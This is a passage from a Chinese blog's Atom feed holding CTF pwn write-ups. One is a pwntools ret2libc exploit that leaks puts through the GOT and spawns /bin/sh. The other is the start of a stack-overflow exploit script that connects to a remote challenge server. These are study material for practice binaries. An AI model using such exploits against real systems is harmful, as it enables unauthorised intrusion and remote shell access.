&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #A0ADA0;&quot;&gt;# context(os=&amp;#39;linux&amp;#39;, arch=&amp;#39;amd64&amp;#39;, log_level=&amp;#39;debug&amp;#39;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;elf&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; ELF&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;.&#x2F;task_rop64.rop64&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;io&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; process&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;.&#x2F;task_rop64.rop64&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #A0ADA0;&quot;&gt;# io = remote(&amp;quot;pwn2.jarvisoj.com&amp;quot;, 9883)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #A0ADA0;&quot;&gt;# main_addr = elf.symbols[&amp;quot;__libc_start_main&amp;quot;]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;main_addr&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;400626&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;puts_addr_got&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; elf&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;got&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;[&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;puts&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;puts_addr&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; elf&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;symbols&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;[&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;puts&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #A0ADA0;&quot;&gt;# ropper --file .&#x2F;task_rop64.rop64 --search &amp;quot;pop | ret&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;pop_rdi&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; p64&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;0000000000400703&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;io&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;recvline&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;()&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #A0ADA0;&quot;&gt;#           junk   ebp （8个）                  参数1给rdi      要执行的函数的地址  执行后返回的地址&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;io&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;sendline&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; +&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt; &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;deadbeef&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; +&lt;&#x2F;span&gt;&lt;span&gt; pop_rdi&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; +&lt;&#x2F;span&gt;&lt;span&gt; p64&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span&gt;puts_addr_got&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; +&lt;&#x2F;span&gt;&lt;span&gt; p64&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span&gt;puts_addr&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; +&lt;&#x2F;span&gt;&lt;span&gt; p64&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span&gt;main_addr&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;))&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #A0ADA0;&quot;&gt;# puts_addr_real = u64(io.recv(8)) # 得到真实地址&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;puts_addr_real&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; u64&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span&gt;io&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;recvuntil&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A65E2B;&quot;&gt;\x7f&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;).&lt;&#x2F;span&gt;&lt;span&gt;ljust&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;8&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A65E2B;&quot;&gt;\x00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;))&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #998418;&quot;&gt;print&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;puts_addr_real:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #998418;&quot;&gt;print&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #998418;&quot;&gt;hex&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span&gt;puts_addr_real&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;))&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;libc&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; ELF&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;&#x2F;lib&#x2F;x86_64-linux-gnu&#x2F;libc.so.6&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;puts_libc_offset&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; libc&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;symbols&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;[&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;puts&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;sys_libc_offset&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; libc&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;symbols&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;[&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;system&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;binsh_libc_offset&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #998418;&quot;&gt; next&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span&gt;libc&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;search&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;&#x2F;bin&#x2F;sh&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;))&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A0ADA0;&quot;&gt; # search返回的是个迭代器，要用next()才能访问到偏移量&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;libc_base&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; puts_addr_real&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; -&lt;&#x2F;span&gt;&lt;span&gt; puts_libc_offset&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;sys_addr_real&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; libc_base&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; +&lt;&#x2F;span&gt;&lt;span&gt; sys_libc_offset&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;binsh_libc_real&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; libc_base&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; +&lt;&#x2F;span&gt;&lt;span&gt; binsh_libc_offset&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #A0ADA0;&quot;&gt;# print io.recvline()&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;io&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;recvuntil&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;pwn it!&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;io&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;sendline&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; +&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt; &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;deadbeaf&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; +&lt;&#x2F;span&gt;&lt;span&gt; pop_rdi&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; +&lt;&#x2F;span&gt;&lt;span&gt; p64&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span&gt;binsh_libc_real&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; +&lt;&#x2F;span&gt;&lt;span&gt; p64&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span&gt;sys_addr_real&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;))&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;io&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;interactive&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;()&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
      
&lt;div lesspub&gt;
    &lt;br&gt;
    &lt;p&gt;
        &lt;img src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&#x2F;assets&#x2F;ablobcatdundundun.gif&quot;
            style=&quot;width:1.2em;transform:translateY(.2em)&quot;
	    loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;复制以下链接，并粘贴到你的&lt;span
            class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Mastodon、Misskey或&lt;span
            class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;GoToSocial&lt;span
            class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;等应用的搜索栏中，即可搜到对应本文的嘟文。对嘟文进行的点赞、转发、评论，都会出现在本文底部。快去试试吧！
    &lt;&#x2F;p&gt;
    
    &lt;p&gt;
        链接：https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;note&amp;#x2F;rop64
        &lt;button onclick=&quot;navigator.clipboard.writeText(&#x27;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;note&amp;#x2F;rop64&#x27;);document.getElementById(&#x27;url-btn&#x27;).innerText=&#x27;复制成功&#x27;&quot;
            id=&#x27;url-btn&#x27;&gt;复制地址&lt;&#x2F;button&gt;
    &lt;&#x2F;p&gt;

    





    





    




&lt;&#x2F;div&gt;

    </content>
  </entry>
  <entry xml:lang="zh-hans">
    <title>护网临时工</title>
    <published>2018-10-13T19:22:30+08:00</published>
    <updated>2018-10-13T19:22:30+08:00</updated>
    <author>
      <name>马鲛鱼</name>
    </author>
    <link href="https://emptystack.top/护网临时工/" type="text/html" />
    <id>https://emptystack.top/护网临时工/</id>
    <content type="html">
      &lt;h2 id=&quot;pwn&quot;&gt;pwn&lt;&#x2F;h2&gt;
&lt;h3 id=&quot;gettingstart&quot;&gt;gettingstart&lt;&#x2F;h3&gt;
&lt;blockquote&gt;
&lt;p&gt;flag{4281a86e5b9ab0ae7940f38be574dc52}&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;IDA&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;反编译，发现&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;0x7FFFFFFFFFFFFFFFLL
== v7 &amp;amp;&amp;amp; 0.1 ==
v8&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;时可以执行&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;system(&quot;bin&#x2F;sh&quot;)。&lt;&#x2F;p&gt;
&lt;p&gt;read(0, &amp;amp;buf,
0x28uLL)&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;读入&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;0x28&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;个字节，会依次覆盖&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;buf、v5-v8。v5v6
随便填，v7&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;就写&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;0x7FFFFFFFFFFFFFFF。v8&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;是&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;double&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;型的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;0.1，自己写一个给&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;double&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;赋值&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;0.1&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;C&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;程序，用&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;GDB&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;得到&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;0.1&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;double&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;型在内存中的形式&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;0x3fb999999999999a&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;写进去。&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #393A34; background-color: #FFFFFF;&quot;&gt;&lt;code data-lang=&quot;python&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #A0ADA0;&quot;&gt;#!&#x2F;usr&#x2F;bin&#x2F;env python&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #A0ADA0;&quot;&gt;# -*- coding: utf-8 -*-&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;from&lt;&#x2F;span&gt;&lt;span&gt; pwn&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt; import&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; *&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #A0ADA0;&quot;&gt;# io = process(&amp;quot;.&#x2F;task_gettingStart_ktQeERc&amp;quot;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;io&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; remote&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;49.4.78.170&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt; 31070&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;payload1&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt; &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;a&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; *&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt; 24&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; +&lt;&#x2F;span&gt;&lt;span&gt; p64&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;7FFFFFFFFFFFFFFF&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; +&lt;&#x2F;span&gt;&lt;span&gt; p64&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;3fb999999999999a&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #998418;&quot;&gt;print&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;--------------&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #998418;&quot;&gt;print&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span&gt;p64&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;7FFFFFFFFFFFFFFF&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;))&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
